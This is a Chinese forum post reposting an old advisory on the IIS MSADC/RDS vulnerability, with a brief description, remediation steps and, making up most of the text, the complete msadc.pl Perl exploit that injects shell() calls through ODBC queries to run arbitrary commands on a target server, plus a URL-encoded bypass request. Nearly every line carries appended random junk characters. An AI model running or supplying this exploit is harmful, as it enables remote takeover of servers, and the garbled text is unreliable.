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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) hq[ gj?P  
~b<4>"7y.  
涉及程序: x%?*]*W  
Microsoft NT server ,8-_=*  
{O,M}0Eg  
描述:  F3r  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 lp%.n= '\  
JX,#W!d  
详细: 3ij I2Zy  
如果你没有时间读详细内容的话,就删除: NCpn^m)Q}  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 4a50w:Jy]  
有关的安全问题就没有了。 W%<]_u[-}  
0-; P&m!!  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ~ z&A  
byxehJ6[V  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 tJF~Xv2L!  
关于利用ODBC远程漏洞的描述,请参看: GBOmVQ $Hb  
3V!&y/c<  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm D$!p+Q  
+ T-zf@j  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 &Or=_5Y`  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp  G#n)|p  
U.sPFt  
这里不再论述。 T9v#Jb6  
!U~#H_  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: j I@$h_n  
v^I%Wm  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset o*ED!y7  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 8q[WfD  
>(4S `}K  
r@ *A   
#将下面这段保存为txt文件,然后: "perl -x 文件名" "?(Fb_}i  
\kGtYkctZ  
#!perl W>s9Mp  
# U;dt-3?=.h  
# MSADC/RDS 'usage' (aka exploit) script [?6D1b[  
# yzzre>F  
# by rain.forest.puppy +dpj?  
# ^dKaa  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me g<tTZD\g  
# beta test and find errors! |}.B!vg(4  
*H<g9<Dn  
use Socket; use Getopt::Std; QgM_SY|Rj  
getopts("e:vd:h:XR", \%args); ~g6[ [  
gJ~*rWBK:  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; /;m!>{({)  
>w#3fTJ  
if (!defined $args{h} && !defined $args{R}) { n\al}KG  
print qq~ T eTOj|  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 9s6lt#?b  
-h <host> = host you want to scan (ip or domain) 2s ,n!u Fd  
-d <seconds> = delay between calls, default 1 second Sq]1SW3  
-X = dump Index Server path table, if available wyEgm:Vt  
-v = verbose [!efQap  
-e = external dictionary file for step 5 -"fq34v  
-t#a*?"$w  
Or a -R will resume a command session o5@P>\ u>  
5!{g6=(  
~; exit;} vszAr( t  
#/=yz<B  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Z`KXXlJ^i  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} p<['FRf"  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} !+ hgKZ]  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); {!bJ.O l  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} t[ocp;Q  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } <?}g[]i  
0|vWwZq  
if (!defined $args{R}){ $ret = &has_msadc; 2n:J7PGD  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} qz SI cI  
Zpd>' ${4  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 2Yjysn  
. "cmd /c "; Q*{ 2  
$in=<STDIN>; chomp $in; ,IB)Kk2  
$command="cmd /c " . $in ; 1OeDWEcB  
)O(Gw-jWE  
if (defined $args{R}) {&load; exit;} u <2sb;a  
7ij=%if2@k  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; .]l2)OlLQ  
&try_btcustmr; Ci:QIsu*  
Gnq~1p5^  
print "\nStep 2: Trying to make our own DSN..."; 2b` M(QL  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; j2n@8sCSO  
0t0:soZ x  
print "\nStep 3: Trying known DSNs..."; 2xj`cFT  
&known_dsn; a{.n(M  
pD/S\E0@t  
print "\nStep 4: Trying known .mdbs..."; 9}_f\Bs  
&known_mdb; DYl{{L8@  
)q-!5^ak  
if (defined $args{e}){ {<BK@U  
print "\nStep 5: Trying dictionary of DSN names..."; >p:fWQ6  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } d7gSkna`5c  
|mA*[?ye@  
print "Sorry Charley...maybe next time?\n"; # =3]bg  
exit; 7[ji,.7  
xq*yZ5:5Jo  
############################################################################## B 1.@K}  
Y>~zt -  
sub sendraw { # ripped and modded from whisker cK@K\AE  
sleep($delay); # it's a DoS on the server! At least on mine... 7!)%%K.z6  
my ($pstr)=@_; :M`BVZ1t  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || [! BH3J!  
die("Socket problems\n"); IGQ8-#=  
if(connect(S,pack "SnA4x8",2,80,$target)){ |th )Q  
select(S); $|=1; _xsYcw~)  
print $pstr; my @in=<S>; @>ZjeDG>  
select(STDOUT); close(S); J z b".A  
return @in; >f/g:[  
} else { die("Can't connect...\n"); }} ,"ZlY}!Gn  
w!M ^p&T7  
############################################################################## v[GHqZ  
g/gLG:C  
sub make_header { # make the HTTP request i i Y[  
my $msadc=<<EOT k]sT'}[n  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 $sJfxh r  
User-Agent: ACTIVEDATA ?K#$81;[  
Host: $ip 'M/&bu r  
Content-Length: $clen >fQN"(tf  
Connection: Keep-Alive tBQ> p.  
A/aQpEb%  
ADCClientVersion:01.06 gQwmYe  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 UkKpS L}Q2  
qo|iw+0Y  
--!ADM!ROX!YOUR!WORLD! WLb7]rCTp  
Content-Type: application/x-varg @I:&ozy }=  
Content-Length: $reqlen N"y4#W(Z@  
`-m7CT sA  
EOT ,//=yW  
; $msadc=~s/\n/\r\n/g; =G6@:h=  
return $msadc;} #n r1- sf|  
M$9h)3(B  
############################################################################## Bw[VK7  
@RW%EXKt  
sub make_req { # make the RDS request "Q4{6FH+mB  
my ($switch, $p1, $p2)=@_; {lJpcS  
my $req=""; my $t1, $t2, $query, $dsn; } d6^  
471}'3  
if ($switch==1){ # this is the btcustmr.mdb query X.qKG0i  
$query="Select * from Customers where City=" . make_shell(); p10->BBg  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 4LLCb7/5lP  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} pDQ,v"  
^<-SW]x  
elsif ($switch==2){ # this is general make table query &baY[[N  
$query="create table AZZ (B int, C varchar(10))"; 6W Zp&pO  
$dsn="$p1";} P])O\<)J  
K~R{q+  
elsif ($switch==3){ # this is general exploit table query 3E-&8x7uYR  
$query="select * from AZZ where C=" . make_shell(); j/&7L@Y  
$dsn="$p1";} KW\`&ki  
g;T`~  
elsif ($switch==4){ # attempt to hork file info from index server pz+#1=b]  
$query="select path from scope()"; k$c!J'qL&  
$dsn="Provider=MSIDXS;";} 5 B6:pH6e  
we3t,?`rk7  
elsif ($switch==5){ # bad query  3@*8\  
$query="select"; Lq.k?!D3uh  
$dsn="$p1";} |n;7fqK  
3( kZfH~  
$t1= make_unicode($query); fmh]Y/UC  
$t2= make_unicode($dsn); F44")fY  
$req = "\x02\x00\x03\x00"; #q%/~-Uk  
$req.= "\x08\x00" . pack ("S1", length($t1)); Q>$v~v?9  
$req.= "\x00\x00" . $t1 ; b._pG(o1  
$req.= "\x08\x00" . pack ("S1", length($t2)); }J1#UH_E  
$req.= "\x00\x00" . $t2 ; Tec6]  :  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; T28#?Lp6]  
return $req;} 4j5plm=  
:O2N'vl47A  
############################################################################## XT)@)c7j  
:M16ijkx  
sub make_shell { # this makes the shell() statement "- AiC6u  
return "'|shell(\"$command\")|'";} G(i/ @>l  
wB@A?&UY  
############################################################################## fqxMTTg@  
ryP z q}#  
sub make_unicode { # quick little function to convert to unicode TQE_zOa:  
my ($in)=@_; my $out; S3w? X  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } %"D-1&%zY  
return $out;} a9%# J^ !  
7-)KTBFL  
############################################################################## ~<-i7uM  
Gwe9< y  
sub rdo_success { # checks for RDO return success (this is kludge) TD<.:ul]  
my (@in) = @_; my $base=content_start(@in); f`cO5lP/:)  
if($in[$base]=~/multipart\/mixed/){ :B im`mHl  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} \TjsXy=:)  
return 0;} P$Nwf,d2u  
kq+L63fZ  
############################################################################## NR" Xn7G  
hz!.|U@,{<  
sub make_dsn { # this makes a DSN for us P:G^@B3^  
my @drives=("c","d","e","f"); o/&Q^^Xj^~  
print "\nMaking DSN: "; A#}IbcZ|b  
foreach $drive (@drives) { 'a}pWkLB  
print "$drive: "; 8Pq|jK "  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . c ;VW>&,B  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" SyI#Q[f'_  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); \O56!,k  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; e([}dz  
return 0 if $2 eq "404"; # not found/doesn't exist 1jR<H$aS  
if($2 eq "200") { 6v-h!1p{u  
foreach $line (@results) { 0[^f9NZ>-  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} YC{od5a  
} return 0;} ;-59#S&?tB  
2]|+.9B  
############################################################################## &12.|  
92EvCtf  
sub verify_exists { &}<IR\ci  
my ($page)=@_; 5Jd,]~KAP  
my @results=sendraw("GET $page HTTP/1.0\n\n"); B--`=@IRf"  
return $results[0];} EG,RlmcPp  
z[th@!3  
############################################################################## B|tP3<  
Xh5 z8  
sub try_btcustmr { &W1c#]q@r  
my @drives=("c","d","e","f"); 72aj4k]^  
my @dirs=("winnt","winnt35","winnt351","win","windows"); r!+)U#8  
u?!p[y6  
foreach $dir (@dirs) { cYK3>p A  
print "$dir -> "; # fun status so you can see progress  5bk5EE`  
foreach $drive (@drives) { x@yF|8  
print "$drive: "; # ditto =73wngw  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; >354O6  
$reqlenlen=length( "$reqlen" ); ~%cbp&s*/q  
$clen= 206 + $reqlenlen + $reqlen; 9i n&\  
% %*t{0!H+  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); l&zd7BM9(  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} xRb-m$B}L  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} E=7~\7TE  
^j@,N&W:lG  
############################################################################## <S<(wFE@4  
@#nB]qV:e  
sub odbc_error { KdUmetx1  
my (@in)=@_; my $base; bx1'  
my $base = content_start(@in); DEIn:d  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this #8cY,%<S]  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; N/(&&\3  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; OX!9T.j  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; e(cctC|l  
return $in[$base+4].$in[$base+5].$in[$base+6];} n(&6 E3ZcI  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; M^a QH/=:"  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Gt'%:9r  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} wT;D<rqe`  
!RV}dhI  
############################################################################## +PjH2  
vV8}>  
sub verbose { 0e&Vvl4DK  
my ($in)=@_; |dXmg13( -  
return if !$verbose; bUt?VR}P(  
print STDOUT "\n$in\n";} `zF=h#i  
k \|Hd"T  
############################################################################## qm2  
dF"Sz4DY#  
sub save { V1M oW;&  
my ($p1, $p2, $p3, $p4)=@_; 'F1NBL   
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; g9g^zd,  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ,u/GA<'#M  
close OUT;} CtS*"c,j  
u9J;OsnHK  
############################################################################## F4@``20|  
]oj 2  
sub load { :Fm)<VN"  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; *G^ QS"%  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); s/8>(-H#  
@p=<IN>; close(IN); Z':}ZXy]  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); - 3kg,=HU;  
$target= inet_aton($ip) || die("inet_aton problems"); x,pzX(  
print "Resuming to $ip ..."; L"9,K8  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; vk&C'&uV9@  
if($p[1]==1) { IZ "d s=w  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; jU/0a=h9  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; p\1-.  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); wj /OYnMw  
if (rdo_success(@results)){print "Success!\n";} }sZme3*J[  
else { print "failed\n"; verbose(odbc_error(@results));}} 8sLp! O;f2  
elsif ($p[1]==3){ Qn_*(CSp  
if(run_query("$p[3]")){ h5>JBLawQP  
print "Success!\n";} else { print "failed\n"; }} "9aiin  
elsif ($p[1]==4){ ; 7k@_  
if(run_query($drvst . "$p[3]")){ <GT&q <4w  
print "Success!\n"; } else { print "failed\n"; }} -:&qNY:Vp  
exit;} (bY#!16C:  
Y;G+jC8   
############################################################################## s%GhjWZS  
?"\X46Gz;  
sub create_table { $ba3dqbCW  
my ($in)=@_; 1jO}{U  
$reqlen=length( make_req(2,$in,"") ) - 28; 6"b =aPTi  
$reqlenlen=length( "$reqlen" ); 0& 54xP  
$clen= 206 + $reqlenlen + $reqlen; `L/\F,  
my @results=sendraw(make_header() . make_req(2,$in,"")); jw]~g+x#$  
return 1 if rdo_success(@results); l*rli[No  
my $temp= odbc_error(@results); verbose($temp); uDbz`VpK  
return 1 if $temp=~/Table 'AZZ' already exists/; 9v=5x[fE  
return 0;} sz9C':`W  
Ou>L|#=!  
############################################################################## 0P_qtS  
g4^=Q'j-  
sub known_dsn { 4*&_h g)h  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Yjx*hv&?  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", g)nsP  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", .IXkdy  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); |]y]K%  
fL>>hBCqC  
foreach $dSn (@dsns) { bdEc ?  
print "."; )5Mf,  
next if (!is_access("DSN=$dSn")); [9Q}e;T  
if(create_table("DSN=$dSn")){ e@|/, W   
print "$dSn successful\n"; Wz',>&a  
if(run_query("DSN=$dSn")){ S3l$\X;6X  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { +zn&DG0\X  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Ev+m+  
!Nua  
############################################################################## ~\<aj(m(|  
kqdF)Wa am  
sub is_access { kwF4I )6  
my ($in)=@_; 1 w*DU9f  
$reqlen=length( make_req(5,$in,"") ) - 28; N{w)}me[YY  
$reqlenlen=length( "$reqlen" ); wC{?@ h  
$clen= 206 + $reqlenlen + $reqlen; I:?1(.kd2-  
my @results=sendraw(make_header() . make_req(5,$in,"")); lB3@ jF  
my $temp= odbc_error(@results); G;Jqby8d  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ^UOVXRn  
return 0;} b+7!$  
Y=94<e[f"  
############################################################################## no ).70K  
V 3?x_pp  
sub run_query { av~dH=&=  
my ($in)=@_; &iYy  
$reqlen=length( make_req(3,$in,"") ) - 28; jg%HaA<zO  
$reqlenlen=length( "$reqlen" ); W(.q. Sx>  
$clen= 206 + $reqlenlen + $reqlen; >..C^8 "  
my @results=sendraw(make_header() . make_req(3,$in,"")); m$6u K0  
return 1 if rdo_success(@results); &Cv0oi&B  
my $temp= odbc_error(@results); verbose($temp); <O+T4.z  
return 0;} `0'Bg2'  
2vbm=~)$F  
############################################################################## xd }g1c  
cG{>[Lf  
sub known_mdb { NFxs4:] RT  
my @drives=("c","d","e","f","g"); ~ A?  
my @dirs=("winnt","winnt35","winnt351","win","windows"); w&VMb&<  
my $dir, $drive, $mdb; R{N9'2l:  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; _ljdo`j#N  
nZ7FG  
# this is sparse, because I don't know of many C5k\RS9  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 1VRe xp  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", vOMmsU F  
"\\system32\\certmdb.mdb", Bg3`w__l;  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ,j^z];  
! 3&_#VO  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", afE`GG-  
"\\cfusion\\cfapps\\forums\\forums_.mdb", *|97 g*G(  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", fjGY p  
"\\cfusion\\cfapps\\security\\realm_.mdb", z;fi  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", /8](M5X]f  
"\\cfusion\\database\\cfexamples.mdb", 5BWO7F0v"  
"\\cfusion\\database\\cfsnippets.mdb", GBMCw  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", SI-G7e)3;>  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", {6E&\  
"\\cfusion\\brighttiger\\database\\cleam.mdb", k(As^'>  
"\\cfusion\\database\\smpolicy.mdb", 1"7Rs}l7  
"\\cfusion\\database\cypress.mdb", e&*< "WN  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", UTT7a"  
"\\website\\cgi-win\\dbsample.mdb", q4Z9;^S  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", e;_ cC7  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" C B&$tDi  
); #these are just  J^"  
foreach $drive (@drives) { BC}+yS \  
foreach $dir (@dirs){ oz54IO  
foreach $mdb (@sysmdbs) { T8*<  
print "."; O:K={#Xj  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ `VJJ"v<L  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; R> r@[$z+  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ vbXZZ  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; _@-D/g  
} else { print "Something's borked. Use verbose next time\n"; }}}}} pzL !42  
ctqXzM `  
foreach $drive (@drives) { _hK83s4  
foreach $mdb (@mdbs) { U2~7qC,!Do  
print "."; #a : W  
if(create_table($drv . $drive . $dir . $mdb)){ Nhq& Sn2  
print "\n" . $drive . $dir . $mdb . " successful\n"; gA`x-`  
if(run_query($drv . $drive . $dir . $mdb)){ N^u,C$zP9C  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; IYb%f T  
} else { print "Something's borked. Use verbose next time\n"; }}}} <|,0%bq)|  
} 8 oK;Tzh  
P8Nzz(JF  
############################################################################## XnBpL6"T`  
Ry5/O?Q L  
sub hork_idx { `F)Q=  
print "\nAttempting to dump Index Server tables...\n"; <X5'uve  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n";  3)5Gzn  
$reqlen=length( make_req(4,"","") ) - 28; 6L`{oSX!  
$reqlenlen=length( "$reqlen" ); S w<V/t  
$clen= 206 + $reqlenlen + $reqlen; s*blZdP  
my @results=sendraw2(make_header() . make_req(4,"","")); HkgmZw,  
if (rdo_success(@results)){ X^pxu6nm-  
my $max=@results; my $c; my %d; ,VtrQb)Yf  
for($c=19; $c<$max; $c++){ oSDx9%  
$results[$c]=~s/\x00//g; Uwd^%x*  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; =v (MdjwFl  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; G|WO  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Q"2t :  
$d{"$1$2"}="";} GoVB1)  
foreach $c (keys %d){ print "$c\n"; } [#}A]1N  
} else {print "Index server doesn't seem to be installed.\n"; }} }4 p3m]   
Ib$*w)4:  
############################################################################## 3M/iuu  
eh@6trzp=  
sub dsn_dict { b7X-mkF  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); S}0W<H P  
while(<IN>){ Yn0l}=, n  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; q;Y9_5S  
next if (!is_access("DSN=$dSn")); CTqAhL 4}  
if(create_table("DSN=$dSn")){ pH#*:v!)  
print "$dSn successful\n"; Y+ZQN>  
if(run_query("DSN=$dSn")){  p^=>N9  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { n9qO;X4&  
print "Something's borked. Use verbose next time\n";}}} cy R K&J  
print "\n"; close(IN);} :j sa.X  
F4=+xd >0  
############################################################################## ~S5wfx&  
`vkNp8|  
sub sendraw2 { # ripped and modded from whisker a,B2;4"  
sleep($delay); # it's a DoS on the server! At least on mine... i{['18Q$F3  
my ($pstr)=@_; OK=lp4X  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 8XwZJ\5  
die("Socket problems\n"); "X\|!Mxh  
if(connect(S,pack "SnA4x8",2,80,$target)){ X)-9u8  
print "Connected. Getting data"; .I6:iB  
open(OUT,">raw.out"); my @in; }7`HJ>+m)H  
select(S); $|=1; print $pstr; H<^*V8J 'w  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} $Vu %4kq  
close(OUT); select(STDOUT); close(S); return @in; D4CN%^?  
} else { die("Can't connect...\n"); }} t>W^^'=E  
SAuZWA4g[  
############################################################################## 76Drhh(  
q T16th[D  
sub content_start { # this will take in the server headers NT qtr="  
my (@in)=@_; my $c; y;0k |C   
for ($c=1;$c<500;$c++) { )X8?m <cG  
if($in[$c] =~/^\x0d\x0a/){ 3ug|H  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 4v@urW s  
else { return $c+1; }}} fx W,S  
return -1;} # it should never get here actually 50s)5G#  
^H0`UKE  
############################################################################## fB \+.eN  
AnB]f~Yjl  
sub funky { Qv3g 4iJ  
my (@in)=@_; my $error=odbc_error(@in); R.(cGZS  
if($error=~/ADO could not find the specified provider/){ 8 *Fr=+KN  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; @,b:s+]rp  
exit;} bzz{ p1e  
if($error=~/A Handler is required/){ ^8_`IT  
print "\nServer has custom handler filters (they most likely are patched)\n"; ) h*)_7  
exit;} uO4kCK<7C  
if($error=~/specified Handler has denied Access/){ auV'`PR  
print "\nServer has custom handler filters (they most likely are patched)\n"; Kp_L\'.I5$  
exit;}} 1P"akc  
`(SWE+m1g  
############################################################################## LGxQ>f[V  
?DAW~+,!7o  
sub has_msadc { P'4oI0Bw  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); jU4*fzsZI  
my $base=content_start(@results); SvlS 4C  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); kR C0iTV'I  
return 0;} n+5X*~D  
Ol;}+?[Q  
######################## ZI<p%IQ   
W*'gqwM&  
|2yTt*!-r  
解决方案: &9Vm3X  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 9.bMA<X  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 2>s@2=Aq  
G4!$48  
拿出来充数 哈哈
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